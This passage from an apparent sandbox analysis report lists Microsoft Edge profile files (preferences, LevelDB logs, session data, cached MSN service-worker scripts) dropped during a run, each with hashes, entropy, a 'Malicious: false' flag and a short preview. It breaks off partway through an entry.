Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377021686372006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48c9c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9818
Entropy (8bit):	5.11463099959972
Encrypted:	false
SSDEEP:	192:stvkdpk+saudEsZihUkIt38WbV+FW8QA66WGaFIMY8PLYJ:stvQvsaudEfhqbGrQx6WGaTYp
MD5:	C70439827D55B1A74BD2A4A03D92F4FA
SHA1:	A4738AC7491507A6E1CE83192EBE7AB4EEFA0E34
SHA-256:	C38F00DDBAAE2B92586E53766B53C23D830218F618C1D0819716C354FB89254C
SHA-512:	D1BB5F027DBB007BF3167F841FFE098B5EBAFC45DC60673B7E4F5149C8F2834817A490E02B1D04E5FD09589828B4BBB3624D9A7EBBDE3A1066CDDF699DA443DF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377021686372006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567588665165924
Encrypted:	false
SSDEEP:	768:G8zqCEWPVpfNI8F1+UoAYDCx9Tuqh0VfUC9xbog/OV5IQcxrwkp2tuE:G8zqCEWPVpfNIu1ja07cCRtv
MD5:	67F16D55DCC56E03F1A8D51C0D5FA890
SHA1:	0580B8823836299447B26F35E759C07F510AD27E
SHA-256:	CDC7F92C66C0B538EBA4FD3C9DD02651C78222E7FA76A49D279A4A02B42BFD55
SHA-512:	DE4EC0D9722833636D8BA4A687888983E2BACAB82AF41714E8AA71F516DF9A9EE4CA9E011947CA80D6E7715CBEDE95AF0B4A06D76048B681D215D05577A13B51
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377021685701732","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377021685701732","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3cc2b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567588665165924
Encrypted:	false
SSDEEP:	768:G8zqCEWPVpfNI8F1+UoAYDCx9Tuqh0VfUC9xbog/OV5IQcxrwkp2tuE:G8zqCEWPVpfNIu1ja07cCRtv
MD5:	67F16D55DCC56E03F1A8D51C0D5FA890
SHA1:	0580B8823836299447B26F35E759C07F510AD27E
SHA-256:	CDC7F92C66C0B538EBA4FD3C9DD02651C78222E7FA76A49D279A4A02B42BFD55
SHA-512:	DE4EC0D9722833636D8BA4A687888983E2BACAB82AF41714E8AA71F516DF9A9EE4CA9E011947CA80D6E7715CBEDE95AF0B4A06D76048B681D215D05577A13B51
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377021685701732","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377021685701732","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.840362465357496
Encrypted:	false
SSDEEP:	24:F2xc5Nm3cncmo0CRORpllg2DSfRHrYVdCRORpllg2Sc03osxTKCRORpllg2DtRHr:F2emYtrdDSfBCXrdYxqrdDtBird6BX
MD5:	F8A6048458E5C8CA72B6667DC2B7AE4F
SHA1:	BB091F27357140DD28CEE658B74C711EBD2ECB60
SHA-256:	2B08AE3CA70954D99838DC9F09AE4D8D736D2A884D58AEA11CCE1FA035A26D58
SHA-512:	220006D2CF17809A5AEE03BBD488A8BA68134C812F3E530D3B194D7087A6F8B526BB557282D7F0454FD850EE6FF183A2AE2F90DF665DBCEFFA4F5127CEE203FF
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2cN..m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.086420028412959
Encrypted:	false
SSDEEP:	6:HApK81923oH+TcwtE/a252KLlVApgFlWM+q2P923oH+TcwtE/a2ZIFUv:gIYeb8xLoCFlL+v4Yeb8J2FUv
MD5:	3190AED7020EE232071B07DA945B7F82
SHA1:	8C7FB4DE79078F4392854027ADAB4E211116D548
SHA-256:	C47299C7C4A84ED06F87F57C8F67BE8E16A21C966F8742DC7018D4B86B4F5D0B
SHA-512:	DA6570E5AFEBB33AF88C88385802023EB3E30FD3E3A4159A3C41FFA39B52AD5DD7F9353A89CCC570632DAB137F6A10A9FC0E74C2DA214BF06EEA9F875C6A7BC0
Malicious:	false
Preview:	2024/11/25-10:21:42.118 1dac Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/25-10:21:42.144 1dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.577767013389852
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgOYFa:d9LyxPXfOxr1lMe1nL/CL/TXEmsvF5Fa
MD5:	810FB878AEBD9F77A2C4FE2512943D3C
SHA1:	C96E5A6EECB5C49BDCF15B49F2196838E3737FB3
SHA-256:	8A8EDD4F401D251276D7C3E5AD14BE93F0507139A8F3D8F63D6DB34892C00351
SHA-512:	C58066B947E48BB1693E4F63BA6AFEE2846E0E6C60917C102F8B79C660F33B37BF6CDD72B061A4B0434463061A11637D6A8F2AF204F47EA29B1C73ED818DBA7C
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188857
Entropy (8bit):	6.38495273292436
Encrypted:	false
SSDEEP:	3072:0ndDIFhoHNN4wZ3N2v3L/scMg6zHbD9+0sQbj+T8:oJ4wP2fL/hDcbBB2w
MD5:	1D263B11A03A04D18E8DDD600B14E886
SHA1:	E166F90C940AB01D8736A314CD3478D43C35AAE6
SHA-256:	D430A1053CC92047D53BA2A8F7CDBD356A4DCD5072C7B8CFBB951D05FB2DF506
SHA-512:	875AAABA0B2D63232E7C15B4D2F61051D1BC97214E51F8486BA26A9C3B01719409B10B016EC1F787178D40C2C749665D52E8B524875E9898EB27B10C67E9598A
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.`........,T.8..`,.....L`.....,T...`......L`......Rc..8....exports...Rc........module....Rc........define....Rbr.J.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.R4 .b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:gOcFE0Xl/ly/l9/lxE0tlla/lmKhV+n:gJmO0gm6V+n
MD5:	6E07012F72969D43019F6AAC35DC05F3
SHA1:	2DEADB4ECA18F6AC00269BB2530B360736E48394
SHA-256:	A2EB36F730350A0ACE492F547C0D6C0F4F6A9695640FB373CCB4CBF3810F8A9F
SHA-512:	5D87B1F90BDAE72048503C0B868BCF5D44C99EA4AB5DE947D889F682AC831127388CF9BA8557082EFAEE3B6D325C5CA23A8B7612BC8440ECE084B69AE39F6466
Malicious:	false
Preview:	@....3k.oy retne.........................X....,..................T./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:gOcFE0Xl/ly/l9/lxE0tlla/lmKhV+n:gJmO0gm6V+n
MD5:	6E07012F72969D43019F6AAC35DC05F3
SHA1:	2DEADB4ECA18F6AC00269BB2530B360736E48394
SHA-256:	A2EB36F730350A0ACE492F547C0D6C0F4F6A9695640FB373CCB4CBF3810F8A9F
SHA-512:	5D87B1F90BDAE72048503C0B868BCF5D44C99EA4AB5DE947D889F682AC831127388CF9BA8557082EFAEE3B6D325C5CA23A8B7612BC8440ECE084B69AE39F6466
Malicious:	false
Preview:	@....3k.oy retne.........................X....,..................T./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF40d5a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:gOcFE0Xl/ly/l9/lxE0tlla/lmKhV+n:gJmO0gm6V+n
MD5:	6E07012F72969D43019F6AAC35DC05F3
SHA1:	2DEADB4ECA18F6AC00269BB2530B360736E48394
SHA-256:	A2EB36F730350A0ACE492F547C0D6C0F4F6A9695640FB373CCB4CBF3810F8A9F
SHA-512:	5D87B1F90BDAE72048503C0B868BCF5D44C99EA4AB5DE947D889F682AC831127388CF9BA8557082EFAEE3B6D325C5CA23A8B7612BC8440ECE084B69AE39F6466
Malicious:	false
Preview:	@....3k.oy retne.........................X....,..................T./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	3.35979630670255
Encrypted:	false
SSDEEP:	192:U/UE87ZNsC9Xp+FKi/5SLl9iSrYDqXLFq:UU7ZmC9Xp+Ai5SLl9iSr8KL
MD5:	7AD75B98F3DC902483F831A17AE76533
SHA1:	A58ED6BAD040B4D1E4DA7A564762AB7B6EB87CEE
SHA-256:	6B81C9C597093BB841BA56DBDB5B88AD8456A428458F382D1BEE1E2802163B6F
SHA-512:	AEFD06ED2EC4CAC591DF7965AB658FA18ABA286BAD691A8C9C89BADB31E4DCB9BF4E27793F3E7989797F0506D840FD20AC696B2BFE24AEB2D5059EE1B7632B0C
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f..................0b................next-map-id.1.Cnamespace-0adbb982_47d6_4c0a_8e0a_b926bf55f8ab-https://ntp.msn.com/.0.z.J................map-0-shd_sweeper.8{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.c.,.a.d.s.-.f.l.r.m.g.p.-.t.u.n.e.d.-.t.,.s.i.d.-.f.l.r.n.o.i.s.e.2.,.s.i.d.a.m.o.-.f.l.r.-.s.t.a.g.e.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.-.c.,.p.r.e.p.r.g.-.1.s.w.-.s.a.-.t.s.i.n.d.e.x.c.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.e.p.r.g.-.1.s.w.-.s.a.-.s.p.5.-.t.6.v.2.,.p.r.g.-.1.s.w.-.s.a.q.v.f.t.c.c.1.,.p.r.g.-.1.s.w.-.n.o.a.b.r.t.-.r.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.w.r.f.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.-.l.o.g.m.s.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.,.p.r.g.-.a.d.s.p.e.e.k.,.1.s.-.n.t.f.1.-.r.d.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.138618391486807
Encrypted:	false
SSDEEP:	6:HApG9M+q2P923oH+TcwtrQMxIFUt8YApGAZmw+YApGcpGqMVkwO923oH+TcwtrQq:g09M+v4YebCFUt870A/+70cfMV5LYebf
MD5:	4817DCAC0D4D559D836E1F3EE6695EA2
SHA1:	EB47B700CF863401B00C94F5C0D39CB5F1739ADA
SHA-256:	3B855479DE6ACD812D4458222339EDBDF2DC79268C0131ADCE9D3C589B8185DB
SHA-512:	49A0D9B552B073171E7EE0F284112E613B44B346B6E74B08C83AA4F1E86658FCD3BE5813C242696287EB7998568801109ED387A3E810030F042C51AC0021214C
Malicious:	false
Preview:	2024/11/25-10:21:26.481 148c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/25-10:21:26.487 148c Recovering log #3.2024/11/25-10:21:26.491 148c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.138618391486807
Encrypted:	false
SSDEEP:	6:HApG9M+q2P923oH+TcwtrQMxIFUt8YApGAZmw+YApGcpGqMVkwO923oH+TcwtrQq:g09M+v4YebCFUt870A/+70cfMV5LYebf
MD5:	4817DCAC0D4D559D836E1F3EE6695EA2
SHA1:	EB47B700CF863401B00C94F5C0D39CB5F1739ADA
SHA-256:	3B855479DE6ACD812D4458222339EDBDF2DC79268C0131ADCE9D3C589B8185DB
SHA-512:	49A0D9B552B073171E7EE0F284112E613B44B346B6E74B08C83AA4F1E86658FCD3BE5813C242696287EB7998568801109ED387A3E810030F042C51AC0021214C
Malicious:	false
Preview:	2024/11/25-10:21:26.481 148c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/25-10:21:26.487 148c Recovering log #3.2024/11/25-10:21:26.491 148c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377021688283081

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.823965276338195
Encrypted:	false
SSDEEP:	24:3M/4odsc4yeDcGlApsAF4unxDA9tLp3X2amEtG1ChqznkleYzQKkOAM4g:3M/4o2c43cGSzFqLp2FEkChQnkleHHOp
MD5:	F4F46B03DC4359CE51CE20405E6675A7
SHA1:	EFEDB4DBEBCEF37D00CEBC1A936FE7F478864631
SHA-256:	7C4DD8F7D154BAF407703AB605A7C686FB4E09477B4D804FBE6C73142E35617B
SHA-512:	CA00C45E3041394DE8CC83B91D35BBE40DC82C35F839E637804F20678408E9BBD059DB48A4E11D1B08E6252AFAE59CB2DBA0CA621272D86422DF9AECF0D76041
Malicious:	false
Preview:	SNSS.......5..K...........5..K......"5..K...........5..K.......5..K.......6..K.......6..K....!..6..K...............................5..K6..K1..,...6..K$...0adbb982_47d6_4c0a_8e0a_b926bf55f8ab...5..K.......6..K...............5..K...5..K.......................5..K....................5..0...5..K&...{98952893-68FF-4A5D-A164-705C709ED3DB}.....5..K.......5..K..........................6..K...........6..K........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........lI.'....lI.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.069407159096944
Encrypted:	false
SSDEEP:	6:HApln/Iq2P923oH+Tcwt7Uh2ghZIFUt8YApln/ZZmw+YApln/zkwO923oH+Tcwts:gX/Iv4YebIhHh2FUt87X/Z/+7X/z5LYz
MD5:	C0A8DE0D9D7EAFF5F63C46558E3ED83B
SHA1:	50B7CA890C330F7225D8AF422951DB7E809A36F0
SHA-256:	5983FC53A93F15516C64B9BA37D9F1C015F4CD2F9C8EEAB82DCD002EF0215571
SHA-512:	A568FBD096CE6BB0F423289036D253CA974708F4B0ECD8E2802823CAC6CC2E1A6D8D417A4C523D496805FF337DDDD2DF84F7CAFA6E345A1C5C02E4B98199FCFF
Malicious:	false
Preview:	2024/11/25-10:21:25.813 1e20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/25-10:21:25.813 1e20 Recovering log #3.2024/11/25-10:21:25.813 1e20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.069407159096944
Encrypted:	false
SSDEEP:	6:HApln/Iq2P923oH+Tcwt7Uh2ghZIFUt8YApln/ZZmw+YApln/zkwO923oH+Tcwts:gX/Iv4YebIhHh2FUt87X/Z/+7X/z5LYz
MD5:	C0A8DE0D9D7EAFF5F63C46558E3ED83B
SHA1:	50B7CA890C330F7225D8AF422951DB7E809A36F0
SHA-256:	5983FC53A93F15516C64B9BA37D9F1C015F4CD2F9C8EEAB82DCD002EF0215571
SHA-512:	A568FBD096CE6BB0F423289036D253CA974708F4B0ECD8E2802823CAC6CC2E1A6D8D417A4C523D496805FF337DDDD2DF84F7CAFA6E345A1C5C02E4B98199FCFF
Malicious:	false
Preview:	2024/11/25-10:21:25.813 1e20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/25-10:21:25.813 1e20 Recovering log #3.2024/11/25-10:21:25.813 1e20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
